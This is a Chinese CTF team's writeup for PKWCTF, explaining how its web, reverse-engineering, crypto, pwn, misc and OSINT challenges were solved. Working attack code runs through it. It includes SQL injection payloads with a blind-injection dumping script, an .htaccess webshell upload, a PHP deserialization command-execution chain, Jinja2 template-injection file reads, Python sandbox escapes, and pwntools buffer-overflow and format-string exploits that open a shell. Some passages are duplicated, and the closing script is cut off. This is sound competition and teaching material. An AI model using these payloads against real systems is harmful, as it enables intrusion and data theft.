文章总结: 本文为PKWCTF比赛Writeup,涵盖XXE、SQL注入、文件上传、逆向分析、密码学等CTF题目解题思路,包含具体攻击手法与Flag,如XXE读取文件、报错注入绕过过滤、.htaccess上传、RSA与XOR逆向、CRT与LCG密码题等,并附有解题脚本与Flag。 综合评分: 75 文章分类: CTF,WEB安全,逆向分析,漏洞分析,渗透测试
PKWCTF
F1A4 F1A4
F1A4安全团队
2026年9月29日 14:30 重庆
在小说阅读器读本章
去阅读
在公众号小说中沉浸阅读
F1A4
团队招新
F1A4团队诚聘英才
JOIN US…
热爱网安、喜欢CTF即可报名,大一同学会放宽要求;有参赛/获奖经历优先,不兼其他高校联队,服从赛事安排、乐于交流即可。
报名:邮箱[email protected]
邮件格式:姓名+主攻方向,投递后进入纳新群
F1A4团队
公众号:F1A4安全团队
携手前进 共创未来
PKWCTF
Writeup
最后没时间冲分了哈哈哈
第一轮
纸上谈兵
经典xee漏洞直接执行即可
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE register [
]>
Flag:PKWCTF{bff90617-cb08-46b3-909c-a8997df65cb9}
签到题
直接右键发现被禁用了,然后通过火狐自带的插件禁用
然后查看源代码拿到base64,解密即可
Flag:PKWCTF{5d153537-f17b-4cfc-8a89-c0f4c13e5e46}
PKW学院
查看源码发现接口/api/v1/
访问发现
很多接口但是重要的是环境变量的,直接通过环境变量传递参数即可拿到base64编码的flag,他说过用参数name传递,那就直接?name=flag
Flag:PKWCTF{3eea4f6d-ea43-4a73-9a57-6bef6e1559b9}
PKWSEC 员工名录
输入”试了下然后看下信息发现,输入被直接拼进 SQL,外层是双引号,可以用 ” 闭合
尝试了” and 1=1– –
报错了near ‘1=1– -“‘,说明 — – 注释没生效,且 and 被过滤。
继续测试发现过滤关键词:or,and,union,|,information_schema 里的 or 被删除后变成 infmation_schema,导致表不存在,用双写绕过:infoorrmation_schema还要想办法绕过and / union / |不能用逻辑运算符,改用 = 连接表达式
” = extractvalue(1,concat(0x7e,database())) = “
发现能够触发报错注入
那就开始尝试报错注入
当前数据库名:ctf
表名:
” = extractvalue(1,concat(0x7e,(select group_concat(table_name) from infoorrmation_schema.tables where table_schema=database()))) = “
字段名
” = extractvalue(1,concat(0x7e,(select group_concat(column_name) from infoorrmation_schema.columns where table_name=’confidential_docs’))) = “
读机密内容:
” = extractvalue(1,concat(0x7e,(select group_concat(doc_title,0x7c,doc_secret) from confidential_docs))) = “
回显被 extractvalue 的 32 字符限制截断,用 substr 分段读取 doc_secret
Flag:PKWCTF{8a9e9287-c9e6-42a5-97bf-02105070b6b4}
mio上传
上传jpg可以,然后修改后缀被拦截,尝试phtml,以及php5等等都被拦截,然后试了php.jpg可以但是不解析
最后尝试修改中间件Apache 的配置 .htaccess
AddType application/x-httpd-php .txt
奖.htaccess 上传以后再上传一个扩展名为 .txt、内容为 PHP 的文件
用蚁剑连接
然后在根目录下拿到flag
Flag:PKWCTF{b2500a9c-294b-4f9b-881d-9aab79b5d331}
4048
在源码game.js里面找到了十六进制编码的把他转成字符然后转ascii技能拿到flag
Flag:PKWCTF{b318d7ff-60fb-4011-8846-2bac7f88eb55}
元素属性
尝试了一下万能密钥发现被拦截,然后看了下标题,发现ROBOTX,尝试访问
拿到账号密码
登录进来查看flag.txt被拦截了
看了下F12发现传递的参数为
我把flag修改成F14g试下发现拿到flag
Flag:PKWCTF{5c90982f-8af8-4a09-8a0c-3c0ad266dd7e}
题目:MioCrypt 逆向题解
WannaCry 致敬题:从 RSA 外层定位到 8 字节循环 XOR
静态分析
检查 MioCrypt.exe 的导入表,可以看到程序使用 Windows CNG 的 RSA 相关 API:
BCryptOpenAlgorithmProvider BCryptImportKeyPair BCryptEncrypt BCryptGenRandom
程序没有导入 BCryptDecrypt,说明它只内置 RSA 公钥并负责加密。二进制中的公钥是 RSA-2048,指数为 65537。没有私钥时,RSA 密文不能直接还原,因此应继续检查对原始 flag 的处理逻辑。
定位循环 XOR
在 IDA 中定位到函数 0x140001B20。函数逐字节处理输入缓冲区,密钥下标通过除以 8 取余得到:
index = i % 8 data[i] ^= key[index]
这说明程序使用一个 8 字节会话密钥进行重复 XOR。主流程位于 0x140001BB0 附近,先生成随机会话密钥,再进行 RSA 包装和 XOR 处理。
确认 flag 文件布局
flag 文件大小为 299 字节。结合写文件的参数和 RSA-2048 的固定块长度,可以确定布局如下:
最后 35 字节的密文为:
57 b0 60 1c 9c 79 8b e8 33 90 58 00 b2 0b 9b fd 58 8b 03 26 97 72 99 fd 44 93 03 31 97 0e af d9 41 b8 4a
4 利用已知明文恢复密钥
题目 flag 格式已知为 PKWCTF{…}。将 XOR 密文前 7 字节与已知明文 PKWCTF{ 逐字节异或:
cipher : 57 b0 60 1c 9c 79 8b plain : 50 4b 57 43 54 46 7b key : 07 fb 37 5f c8 3f f0
因此密钥前 7 字节确定为 07 fb 37 5f c8 3f f0。第 8 字节只会影响密文下标 7、15、23、31 的字符。枚举 0 到 255,并要求结果符合 flag 格式、全部可打印且文本自然,得到第 8 字节为 0x92。
key = 07 fb 37 5f c8 3f f0 92
解密脚本
from pathlib import Path blob = Path(“flag”).read_bytes() cipher = blob[8 + 256:] key = bytes.fromhex(“07 fb 37 5f c8 3f f0 92”) plain = bytes( value ^ key[index % len(key)] for index, value in enumerate(cipher) ) print(plain.decode())
脚本输出:
PKWCTF{z4ko_z4ko_p4y_MioCh4n_1_KFC}
核心密钥室
服务要求在同一连接中连续答对五题,且每次连接都会重新生成参数。因此脚本必须在一个 socket 会话内完成读取、解析、计算和回传。
中国剩余定理
对同余方程 x ≡ ai mod ni,令 N 为所有模数之积,Ni=N/ni。由于模数两两互素,最小非负解可由各项 ai·Ni·Ni 的模逆求和后对 N 取模得到。
N = math.prod(moduli) x = sum(a * (N // n) * pow(N // n, -1, n) for a, n in zip(residues, moduli)) % N assert all(x % n == a for a, n in zip(residues, moduli))
本次服务端接受的答案为 763245276353107593870159。
RSA 已知素因子解密
题目直接给出 p、q、e 和密文 c。先计算欧拉函数 φ(n)=(p−1)(q−1),再求私钥指数 d=e 的模 φ(n) 逆元,最后计算 m=c^d mod n。
phi = (p – 1) * (q – 1) d = pow(e, -1, phi) m = pow(c, d, p * q) assert pow(m, e, p * q) == c
本次服务端接受的明文整数为 14779514988838956331。
接近素数的费马分解
题目说明 n=pq 且两个素数非常接近。利用 n=a²−b²=(a−b)(a+b),从 ceil(√n) 开始寻找使 a²−n 为完全平方数的 a,即可得到 p=a−b、q=a+b。
a = math.isqrt(n) if a * a < n: a += 1 while True: b = math.isqrt(a * a – n) if b * b == a * a – n: p, q = a – b, a + b break a += 1 assert p * q == n
本次服务端接受的较小素因子为:
8022365885700099937790627904171625334140878121008287282847577536016076331696853736188689743027746031588480262559629066790777007188964262394889009993976817
线性同余发生器预测
LCG 满足 x(n+1)=(a·x(n)+c) mod m。相邻差分满足 x3−x2=a(x2−x1) mod m,因此可以先恢复乘数 a,再代回求增量 c,并预测 x7。
a = (x3 – x2) * pow(x2 – x1, -1, m) % m c = (x2 – a * x1) % m assert all((a*x + c) % m == y for x, y in zip(xs, xs[1:])) x7 = (a * x6 + c) % m
本次服务端接受的预测值为 137822310548916843349962431139754847971。
有界离散对数
题目给出 h=g^x mod p,并限制 0≤x<2^32。Baby step Giant step 将搜索空间拆成 2^16×2^16:预计算 g^j,再逐步查找 h·(g^(−2^16))^i 是否命中表。
width = 1 << 16 table = {} v = 1 for j in range(width): table.setdefault(v, j) v = v * g % p factor = pow(pow(g, width, p), -1, p) target = h for i in range(width): if target in table: x = i * width + table[target] break target = target * factor % p assert pow(g, x, p) == h
本次求得 x=1221418763。
五题全部通过后得到 flag:PKWCTF{6ddcfb4c-7544-4d49-95e8-290d8003166c}。
新人入职考核
第二道题同样要求在一个连接中连续答对五题,但内容偏基础。每一关都可以直接使用 Python 标准库完成。
1 Hex 解码
Hex 每两个字符表示一个字节,将字节序列按 ASCII 解码即可恢复原字符串。
plaintext = bytes.fromhex(hex_string).decode(‘ascii’)
2 单字节 XOR
XOR 具有自反性,即 (m XOR k) XOR k=m,因此对每个密文字节再次与相同密钥异或即可。
plaintext = bytes(value ^ key for value in bytes.fromhex(cipher_hex)).decode(‘ascii’)
3 模幂 模逆与最大公约数
三参数 pow 可直接完成快速模幂;指数设为 −1 时计算模逆;math.gcd 使用欧几里得算法计算最大公约数。
mod_power = pow(a, b, m) mod_inverse = pow(a, -1, m) greatest_common_divisor = math.gcd(a, b)
五题全部通过后得到 flag:PKWCTF{ba73beaf-2daa-4960-b640-9660daef80d7}。
你瞅啥
放进随波里面直接看见flag
Flag:PKWCTF{co0o_1s_Lsb!!lsb11}
De-Fusion
扔进随波逐流发现有flag字段,用ForemostT提取出来
发现3张图片
把flag合起来拿到flag
Flag:PKWCTF{T34rl4m3nts_K4l31d0_H34rt}
浮生 challenge
线索定位
README 提示真正的信息在缓存里回声。SQLite 中的 cache_meta 记录了 same path, same time, different echo;request_log 则表明 101 至 160 的响应都隐藏在 PCAP 中。先从流量中提取 JSON 的 echo 字段。
Base64 解码 echo,并按 log_01 到 log_53 的编号排序 log_01:6b … log_53:62
这些片段解码后拼成一条明确的元数据:
key=echo_key_2026;target=喵喵喵.png;method=red_lsb
提取图片隐写内容
根据 red_lsb 提示,逐像素读取 PNG 红色通道最低位,每 8 位组成一个字节。得到的明文前缀是 cipher=,末尾用 ::END:: 标记结束。
cipher=35283f2c0b2d1e1a3e515857690b061e0a2d3409103a416f5043113c040038183a1d304f
循环 XOR 解密
将十六进制密文转为字节,与密钥 echo_key_2026 循环 XOR。结果通过 PKWCTF{…} 格式校验。
flag = bytes(c ^ key[i % len(key)] for i, c in enumerate(cipher)) PKWCTF{cache_never_lies_but_logs_do}
ChenYu Python 计算器
服务行为
服务自称 Python calculator online。表达式 1+1 返回 2,说明输入被直接求值;globals() 可见 __builtins__,并且其中包含 open、__import__ 等危险函数。
2 读取环境变量
直接读取 /flag 不存在,但题目程序的源码显示 flag 来自环境变量 FLAG。因此执行以下表达式即可:
__import__(“os”).environ[“FLAG”]
服务返回:
‘PKWCTF{c5aff284-bde9-4d9b-920c-ee593cbbea34}’
LuoYan Python 沙箱绕过
黑名单判断
直接输入 __import__(“os”) 会得到 No import allowed,open 也会被拦截。由于表达式仍然能访问 __builtins__ 和 chr,可以不直接写出被过滤的关键字,而是在运行时拼接名称。
动态构造危险名称
__builtins__chr(95)*2+chr(105)+chr(109)+chr(112)+chr(111)+chr(114)+chr(116)+chr(95)*2).environ[chr(70)+chr(76)+chr(65)+chr(71)]
其中 chr(95)*2、chr(105)…chr(116)、chr(95)*2 拼出 __import__;chr(111)+chr(115) 拼出 os;最后四个 chr 拼出 FLAG。服务返回:
‘PKWCTF{7fa42519-8378-4028-8c0d-68c467cafbaa}’
Omaha Outs
每轮给出 k1ne 的手牌、三名对手手牌和四张公共牌,要求计算能让 k1ne 严格获胜的 River 牌数量。先从 52 张牌中移除 4+12+4 张已知牌,剩余 32 张逐张枚举。
对每张候选 River: 1. 枚举自己的 C(4,2) × C(5,3) 组合,取最大牌型; 2. 对每名对手做同样枚举; 3. 只有自己的牌型严格大于所有对手时才计数。 python solve_poker.py
实现时要处理 A2345 顺子、同花顺、葫芦和比较相同导致的平局。平局不属于 outs。
osint-1
一看金门大桥,并且是靠岸边的直接谷歌地图全景看
拿到坐标:PKWCTF{37.8257833,-122.4829583}
osint-2
通过湖+建筑的风格可以判断是日本的建筑风格,并且这个是你的名字原型地,确定为诹访湖
然后根据这个L型的放船的地方可以在谷歌上面找,并且旁白是红色的跑道,根据特征可以找到大致的方向
然后是这个3个大臭水鱼塘把加这个有点富丽堂皇的房子
定位到确定的地方
再根据这个烂车和粉车的位置慢慢调整细节
拿到坐标:PKWCTF{36.0445828,138.0575787}
Osint3
通过绵羊以及后面的冰山啥的ai帮着推断出是冰岛然后进去地图里面翻
最后沿着Skagavegur这条路找到了
Flag:PWKCTF{65.9881762,-20.3830073}
糖衣炮弹
Die查壳发现是upx的壳直接脱壳
拿到没壳程序,直接扔进ida
拿到flag
Flag:PKWCTF{easy_decompile_flag}
gogogo!出发咯
先查壳
无壳直接ida
因为是go所以不是直接看main而是看_rt0_amd64_windows 或 runtime.rt0_go,整个分析为:
rt0_amd64_windows
↓
rt0_amd64
↓
runtime_rt0_go_abi0
↓
runtime_main
↓
main_main ← 业务入口
核心函数为main_xorCheckLookHere
输入长度必须等于 qword_14019E438。
因为是go所以不是直接看main而是看_rt0_amd64_windows 或 runtime.rt0_go,整个分析为:
rt0_amd64_windows
↓
rt0_amd64
↓
runtime_rt0_go_abi0
↓
runtime_main
↓
main_main ← 业务入口
核心函数为main_xorCheckLookHere
输入长度必须等于 qword_14019E438。
对每个字符:密文[i] == (密钥 ^ 输入[i])。
异或可逆:输入[i] = 密文[i] ^ 密钥。
长度 = 8
key = 0x12
cipher = “BYEQFTio”
公式:明文[i] = 密文[i] ^ 0x12
cipher = “BYEQFTio”
key = 0x12
flag = ”.join(chr(ord(c) ^ key) for c in cipher)
print(flag)
# 输出:PKWCTF{}
验证:
Flag:PKWCTF{}
澳门新葡京
还是查壳
直接ida,看main函数
输入 1 → 抽奖,打印奖品名称。
输入 2 → 退出。
其他 → 非法输入提示。
核心函数为:draw_prize直接查看
这是一个标准的加权随机抽奖(轮盘赌算法):
每个奖品有 weight(权重)。
roll 落在哪个区间,就返回哪个奖品。
然后找到 prize_pool,发现很多flag
整体的权重 = 3999 + 2600 + 1800 + 1000 + 500 + 80 + 10 + 10 + 1 = 10000
前两个 PKWCTF{…} 的都是假的flag,因为里面是翻译不文明哈,还有就是刚刚说的权重,只有最后一个为万分之一,最稀有,都不用看其他的直接提交他就是flag
Flag:PKWCTF{CQqQqQqQqQqQq_YOU}
呆呆鸟
用CE作弊呗
进入程序,把程序导入CE
不断掉血用k自杀
最后找到功能点修改血量1000000
血量修改成功,然后去找到8个密钥即可拿到flag
Flag:PKWCTF{D0_y0U_LiK3_G@M3?}
Lost Ruins Terminal
一堆教学的东西过了直接给flag
Flag:PKWCTF{1b9aa450-64c3-4def-885f-e14dec31bdb7}
Light Forest Pwn
题目概况
本题提供一个 64 位 ELF 服务程序。程序启动后读取用户输入并打印欢迎语,远端服务监听 nc1.ctfplus.cn:35765。目标是定位内存破坏点,控制返回地址并取得 shell。
文件与保护检查
程序架构为 x86-64;Partial RELRO;未启用栈 canary;NX 启用;PIE 未启用,基址固定为 0x400000;符号未剥离。没有 canary 且地址固定,因此可以使用稳定的 ret2win。
漏洞定位
forest 函数为局部 name 缓冲区分配 0x20 字节空间,随后调用 gets(name),再执行 printf(“Welcome %s\n”, name)。gets 不检查输入长度,形成栈溢出。数组占 32 字节,保存 rbp 占 8 字节,所以覆盖保存 RIP 的偏移为 40 字节。
目标函数与栈对齐
隐藏函数 maintenance_shell 位于 0x401166,内部执行 system(“/bin/sh”)。直接跳转到它时,远端可能因 system 对栈对齐的要求而崩溃,因此在目标函数前加入 ret 指令 0x40101a。最终 payload 为 40 字节填充、ret、maintenance_shell。 padding(40) | ret(0x40101a) | maintenance_shell(0x401166) 利用脚本 保存下面脚本为 solve.py,在安装 pwntools 的环境中执行: from pwn import * context.arch = ‘amd64’ io = remote(‘nc1.ctfplus.cn’, 35765) io.recvuntil(b’name:’) io.sendline(b’A’*40 + p64(0x40101a) + p64(0x401166)) io.sendline(b’cat /flag’) io.interactive() 利用成功后获得 root shell,执行 cat /flag 输出: PKWCTF{8a83ef16-8836-4580-b430-1ac8c33fcc99}
Withered Tree
格式化字符串泄露与栈溢出 ret2win
目标服务:nc1.ctfplus.cn:17282。本文记录二进制检查、漏洞定位、偏移推导和远程利用过程。最终 flag 为 PKWCTF{fe42d56c-3894-49a6-8fbb-8375cecbd948}。
环境与保护
题目文件为 64 位 x86 ELF。RELRO 为 Partial RELRO,开启 NX 和栈 canary,未开启 PIE,且未 stripped。
checksec –file=challenge\nArch: amd64\nRELRO: Partial RELRO\nStack: Canary found\nNX: NX enabled\nPIE: No PIE (0x400000)
漏洞分析
prophecy() 先读入数据并执行 printf(buf),形成格式化字符串漏洞;随后从 rbp-0x50 读取 0x100 字节,形成栈溢出。
read(0, rbp-0x90, 0x40)\nprintf(buf)\nread(0, rbp-0x50, 0x100)
泄露 canary
使用位置参数读取栈值。远程测试表明第 23 个参数是 canary:
%23$p => 0x77c157a5cccb7700
脚本每次连接都重新泄露 canary。
栈布局与 ret2win
从输入起点到 canary 的距离为 0x48,之后是保存 rbp 和返回地址。maintenance_shell() 位于 0x401176,会执行 system(“/bin/sh”)。使用 0x40101a 的 ret 对齐栈。
padding 0x48\ncanary 8\nsaved rbp 8\nret 0x40101a\nwin 0x401176
利用脚本
核心代码如下:
io.sendline(b’%23$p’)\ncanary = int(re.search(rb’0x[0-9a-fA-F]+’, leak).group(), 16)\npayload = flat(b’A’ * 0x48, canary, b’B’ * 8, 0x40101A, 0x401176)\nio.send(payload.ljust(0x100, b’C’))\nio.sendline(b’cat /flag’)
必须补齐到 0x100 字节,因为 read() 会等待完整长度。
利用后输出:
PKWCTF{fe42d56c-3894-49a6-8fbb-8375cecbd948}
第二轮
web
小虎鲸大冒险
第一关:ticket
条件:
必须传 ticket 参数(GET)
empty($_GET[“ticket”]) 为真 $_GET[“ticket”] !== “” 为真 PHP 中 empty() 为真的值包括 0、”0″、false、null、””、[] 等。 但 $_GET 取到的值永远是字符串或数组,所以只能用字符串 “0”。 empty(“0”) → true “0” !== “” → true ticket=0 第二关:depth 条件: 必须传 depth 参数(GET) 字符串长度 ≤ 4 数值要大于 1000 利用 PHP 弱类型比较,使用科学计数法字符串: “1e4” 长度为 3 在数字比较时被当作 10000 10000 > 1000 为真 depth=1e4 第三关:song 条件: 必须 POST 传 song md5(song) == 0 为真(弱比较) 利用 PHP 的 == 弱比较漏洞: 如果 MD5 结果是 0e 开头后面全是数字,会被当作科学计数法 0 × 10^n = 0 “0e…” == 0 为真 常用的 MD5 为 0e 开头的字符串: song=QNKCDZO 也可以用数组绕过: song[]=a md5() 对数组返回 null,null == 0 为真。
flag:PKWCTF{d866819c-3b97-4b76-a520-a6479ba7dff4}
隐藏留言
查看源代码发现
留言作者是 admin,ID 为 b2c3d4e5-f6a7-4b8c-9d0e-1f2a3b4c5d6e,且标题前有 🔒 图标,说明是一条私密/隐藏留言。
这条留言直接点题:有一条隐藏留言,需要想办法查看
在源代码下面发现MGetMessages 接受客户端传入的任意 message_ids 数组,代码中没有任何迹象表明服务端会校验「这些 ID 是否属于当前用户」;而单条接口 /api/messages/:id 在 viewDetail 里对私密留言会返回「无权查看」
这就会导致服务端信任客户端传入的 message_ids,未校验归属/权限,导致可以传入任意留言 ID
我们在源码中看见了admin的id,直接用POST传递参数,因为GET有鉴权
flag:PKWCTF{f8bb368e-61d9-447a-826a-341aaa799d68}
丢标的报价
做过第一期的题目应该都知道这是sql注入的题目,直接开始尝试sql注入
测试字符型
说明不是简单的字符型注入,或者单引号导致语法错误被吞
测试数字型
回显 YES 已归档,命中,说明是数字型注入,参数直接拼进 SQL,没有引号包裹
判断字段数
说明字段数为 1
测试 UNION
回显 YES 已归档,说明 UNION 可用,但页面只判断“有没有记录”,不展示查询结果,所以 UNION 无法直接回显数据
测试报错注入
回显 NO 未归档,无报错回显,说明报错注入不可用,错误被后端吞掉
测试布尔盲注
确认存在布尔盲注,条件为真时回显 YES 已归档,条件为假时回显 NO 未归档
前面手动盲注了一下还是算了,决定写脚本了
Python import requests import sys URL = “http://8080-8abbd02e-5713-43e7-b0d6-60fcf76aa0ed.challenge.ctfplus.cn” PARAM = “project” session = requests.Session() def check(payload): “””布尔盲注判断:页面出现 YES 即为真””” try: r = session.get(URL, params={PARAM: payload}, timeout=10) return “YES” in r.text except Exception as e: print(f”[!] 请求异常: {e}”) return False def get_length(sql, max_len=200): for i in range(1, max_len + 1): if check(f”1 AND LENGTH(({sql}))={i}”): return i return 0 def get_char_binary(sql, pos): low, high = 32, 126 while low < high: mid = (low + high) // 2 if check(f"1 AND ASCII(SUBSTR(({sql}),{pos},1))>{mid}”): low = mid + 1 else: high = mid return chr(low) def get_string(sql, length): result = “” for i in range(1, length + 1): c = get_char_binary(sql, i) result += c print(f”\r[+] 已获取: {result}”, end=””, flush=True) print() return result def get_count(sql, max_count=200): for i in range(0, max_count + 1): if check(f”1 AND ({sql})={i}”): return i return 0 # ================== 1. 爆库名 ================== print(“[*] 开始爆库名…”) db_len = get_length(“SELECT DATABASE()”) db_name = get_string(“SELECT DATABASE()”, db_len) print(f”[+] 库名: {db_name}”) # ================== 2. 爆表名 ================== print(“\n[*] 开始爆表名…”) table_count = get_count( f”SELECT COUNT(*) FROM information_schema.tables WHERE table_schema='{db_name}'” ) print(f”[+] 表数量: {table_count}”) tables = [] for i in range(table_count): sql = f”SELECT table_name FROM information_schema.tables WHERE table_schema='{db_name}’ LIMIT {i},1″ t_len = get_length(sql) t_name = get_string(sql, t_len) tables.append(t_name) print(f”[+] 第 {i+1} 张表: {t_name}”) print(f”[+] 表名列表: {tables}”) # ================== 3. 爆 secret_bids 列名 ================== target_table = “secret_bids” print(f”\n[*] 开始爆表 {target\_table} 的列名…”) col_count = get_count( f”SELECT COUNT(*) FROM information_schema.columns WHERE table_schema='{db_name}’ AND table_name='{target_table}'” ) print(f”[+] 列数量: {col_count}”) columns = [] for i in range(col_count): sql = f”SELECT column_name FROM information_schema.columns WHERE table_schema='{db_name}’ AND table_name='{target_table}’ LIMIT {i},1″ c_len = get_length(sql) c_name = get_string(sql, c_len) columns.append(c_name) print(f”[+] 第 {i+1} 列: {c_name}”) print(f”[+] 列名列表: {columns}”) # ================== 4. dump secret_bids 数据 ================== print(f”\n[*] 开始 dump 表 {target\_table} 的数据…”) row_count = get_count(f”SELECT COUNT(*) FROM {target_table}”) print(f”[+] 行数: {row_count}”) all_rows = [] for i in range(row_count): row = {} for col in columns: sql = f”SELECT {col} FROM {target_table} LIMIT {i},1″ d_len = get_length(sql) d_val = get_string(sql, d_len) row[col] = d_val print(f”[+] 第 {i+1} 行 {col}: {d_val}”) all_rows.append(row) print(f”[+] 第 {i+1} 行完整数据: {row}”) # ================== 5. 搜 flag / sillybird / 金额 / 去向 ================== print(“\n[*] 开始搜索关键字…”) keywords = [“flag”, “sillybird”, “呆呆鸟”, “去向”, “成本”, “报价”, “destination”, “note”, “remark”] for idx, row in enumerate(all_rows): row_str = str(row).lower() for kw in keywords: if kw.lower() in row_str: print(f”[!] 第 {idx+1} 行命中关键字 {kw}: {row}”) # 直接打印所有行,人工找 flag print(“\n[*] 所有行数据:”) for idx, row in enumerate(all_rows): print(f” 第 {idx+1} 行: {row}”) # ================== 6. 额外:如果 projects 表也有线索,一起 dump ================== print(f”\n[*] 顺便 dump 表 projects…”) proj_count = get_count(f”SELECT COUNT(*) FROM projects”) print(f”[+] projects 行数: {proj_count}”) proj_cols = [] proj_col_count = get_count( f”SELECT COUNT(*) FROM information_schema.columns WHERE table_schema='{db_name}’ AND table_name=’projects'” ) for i in range(proj_col_count): sql = f”SELECT column_name FROM information_schema.columns WHERE table_schema='{db_name}’ AND table_name=’projects’ LIMIT {i},1″ c_len = get_length(sql) c_name = get_string(sql, c_len) proj_cols.append(c_name) for i in range(proj_count): row = {} for col in proj_cols: sql = f”SELECT {col} FROM projects LIMIT {i},1″ d_len = get_length(sql) d_val = get_string(sql, d_len) row[col] = d_val print(f”[+] projects 第 {i+1} 行: {row}”) print(“\n[*] 完成。”)
flag:PKWCTF{ece399ed-025a-4669-841f-fbf19a5a5f01}
魔术链
查看源码
逐个类分析:
false
点击图片可查看完整电子表格
虽然我们单看每个类都不致命,但组合起来可以形成一条完整的攻击链
构造poc
反序列化 → 脚本结束
↓
Logger::__destruct() 【触发点】 ↓ file_put_contents(logFile,content) ↓ $content 是对象 → 需要转字符串 Database::__toString() 【桥梁】 ↓ return $this->handler->query() ↓ Admin 没有 query() 方法 Admin::__call(‘query’, …) 【终点】 ↓ system($this->command) → 命令执行 RCE Logger.content ──> Database 对象 Database.handler ──> Admin 对象 Admin.command ──> 要执行的系统命令 其中Logger.logFile 只用于让 file_put_contents 有地方可写(随便填个 /tmp/x 即可),不参与攻击 Bash <?php class Logger { public $logFile = "/tmp/x"; public $content; } class Database { public $handler; } class Admin { public $command; } $a = new Admin(); $a->command = “env | grep -i flag”; // ← 最终要执行的命令 $d = new Database(); $d->handler = $a; $l = new Logger(); $l->content = $d;
echo base64_encode(serialize($l)) . “\n”;
用data传递参数即可
flag:PKWCTF{728a6fb1-cf06-4404-a50d-ea9fe8f348f4}
茉莉蜜茶
随便输入啥都能够登录,进去以后是游客,拿明显就是提权呗
那就看下cookie,发现有个identification,去base64解密拿到
确认是 PHP 序列化对象 + Base64
然后把guest改成admin,但是直接编码以后base64提交被waf拦截
那就开始尝试绕过waf
PHP 序列化里,字符串类型有两种写法:
s:5:”admin”; → 小写 s,普通字符串
S:5:”\61\64\6d\69\6e”; → 大写 S,支持十六进制转义
\61\64\6d\69\6e 就是 admin 的十六进制
所以直接开始编译
通过插件更换identification进入下一关
第一道白名单:
^[A-Za-z()_;]+$
只允许:
字母 A-Za-z
括号 ( )
分号 ;
下划线 _
不允许:数字、引号、$、空格、逗号、点、等号等。
第二道黑名单:
get[a-z]{5,}
禁止 get 后面跟 5 个以上字母,例如 get_defined_vars 会被拦。 但 getenv 里 env 只有 3 个字母,不匹配。
直接传递phpinfo(); 的时候会被拦截,把;改成url编码以及可/?code=phpinfo()%3B
flag:PKWCTF{be6ed1fc-bba1-4c4a-8cd8-4723cfa5d467}
教务系统
直接用测试账号登录上去然后看了下源码有很多接口,并且可以修改学生的昵称,试了下超出的学号30发现能够修改
说明后端没有校验 id 是否属于当前登录用户,存在水平越权
然后进去想咋读取这个账号的,在F12查看过程中发现可以传递参数
把id修改成30即可
拿到前半段flag:PKWCTF{523ff467-2f64-4
备注里还会提示:
教师端有“账号管理”和“重置密码”功能
教师工号:T001
然后在首页查看源代码的时候也发现
有个教室工作台
看见了教师重置密码的接口以及方式,直接通过插件修改url并以post传递,重置了密码
登录成功
然后发现没flag继续看下源码,这时候注意到
不显示,直接查看一下
知道后半截flag
flag:PKWCTF{523ff467-2f64-4f3f-a074-e9195ea903a8}
仓库中的圈套
明显提示了仓库泄露
查看了许多泄露的如
Plain Text /.git/HEAD /.git/config /.git/logs/HEAD /.git/refs/heads/master /.git/index
最后在index 得知源码文件
Plain Text secret.php
直接访问
程序逻辑非常简单,需要同时满足两个条件才会输出 flag:
$_GET[‘cytcv’] == “admin”
参数名 cytcv 是普通 ASCII,直接传 ?cytcv=admin 即可。
$_GET[‘fguyfnkkef’] == “bmkfdncd”
发现咋传都上不去这卡了很久,然后让ai做了下发现这里的参数名和参数值都暗藏玄机:
参数名 fguyfnkkef 中夹着两个不可见字符:
= U+2066 LEFT-TO-RIGHT ISOLATE
= U+2069 POP DIRECTIONAL ISOLATE
参数值 bmkfdncd 中夹着一个 (U+2069)
这些是 Unicode 双向文本控制字符,在编辑器/浏览器里不可见,因此:
肉眼看到的 bmkfdncd 并不等于实际的 bmkfd\u2069ncd
手打 URL 几乎不可能精确还原
我去验证了一下看明显
把不可见字符转成 UTF-8 百分号编码:
false
点击图片可查看完整电子表格
最后payload:/secret.php?cytcv=admin&%E2%81%A6fguyfnk%E2%81%A9kef=bmkfd%E2%81%A9ncd
flag:PKWCTF{63c8e3f1-07b8-4a0c-bc10-3ef62af30829}
燕园论坛
先信息收集了一下发现
这有个测试账号,但是进去试了一圈没有啥可以做的然后就想着试下弱口令结果admin/admin123进了(可能非预期了,但是密码这么简单呢)
然后在设置里面可以修改签名啥的试了xss啥的最后发现是模板注入我输入
{{7*7}}的时候
个人页面显示49说明签名被当作 Jinja2 模板执行,存在服务端模板注入
利用 Jinja2 默认对象 lipsum 的全局变量访问 Python 的 os 模块
{{lipsum.globals[“o”+”s”].listdir(“/challenge”)}}
确认 flag 文件路径为 /challenge/flag
通过 __builtins__ 获取 open
{{lipsum.globals[“builtins”]“open”.read()}}
flag:PKWCTF{b346e175-e373-4ecf-b426-affb7b28794a}
Crypto
Campus Radio
服务提供三个关键功能:
提交普通校园广播,并返回加密后的密文;
获取管理员广播的密文;
提交恢复出的管理员广播明文进行验证。
题目提示普通广播和管理员广播带有“同一段熟悉的底噪”,这暗示两条消息复用了同一段密钥流。
加密分析
流加密通常可以表示为:
Plain Text C = P XOR K
其中 P 是明文,C 是密文,K 是密钥流。
我们可以提交已知明文。提交 64 个 A 后,普通广播明文为:
P1 = AAAAAAAAAA…(共 64 个 A)
服务返回:
Plain Text C1 = P1 XOR K
管理员密文为:
Plain Text C2 = P2 XOR K
因为两条消息在同一会话中复用了同一段密钥流,所以:
Plain Text C1 XOR C2 = (P1 XOR K) XOR (P2 XOR K) = P1 XOR P2
因此管理员明文可以直接恢复:
Plain Text P2 = C1 XOR C2 XOR P1
这里要求两次操作在同一个连接中完成,并且已知明文长度覆盖管理员密文长度。
EXP
将恢复出的明文提交给菜单 [3]:
Plain Text import re import socket import time HOST = “nc1.ctfplus.cn” PORT = 39368 def recv_until_prompt(sock): data = b”” while b”> ” not in data: chunk = sock.recv(4096) if not chunk: break data += chunk return data with socket.create_connection((HOST, PORT)) as sock: recv_until_prompt(sock) # 提交已知明文 known_plaintext = b”A” * 64 sock.sendall(b”1\n”) recv_until_prompt(sock) sock.sendall(known_plaintext + b”\n”) response = recv_until_prompt(sock).decode() user_ciphertext = bytes.fromhex( re.search(r”ciphertext_hex = ([0-9a-f]+)”, response).group(1) ) # 获取管理员密文 sock.sendall(b”2\n”) response = recv_until_prompt(sock).decode() admin_ciphertext = bytes.fromhex( re.search(r”admin_ciphertext_hex = ([0-9a-f]+)”, response).group(1) ) # C1 XOR C2 XOR P1 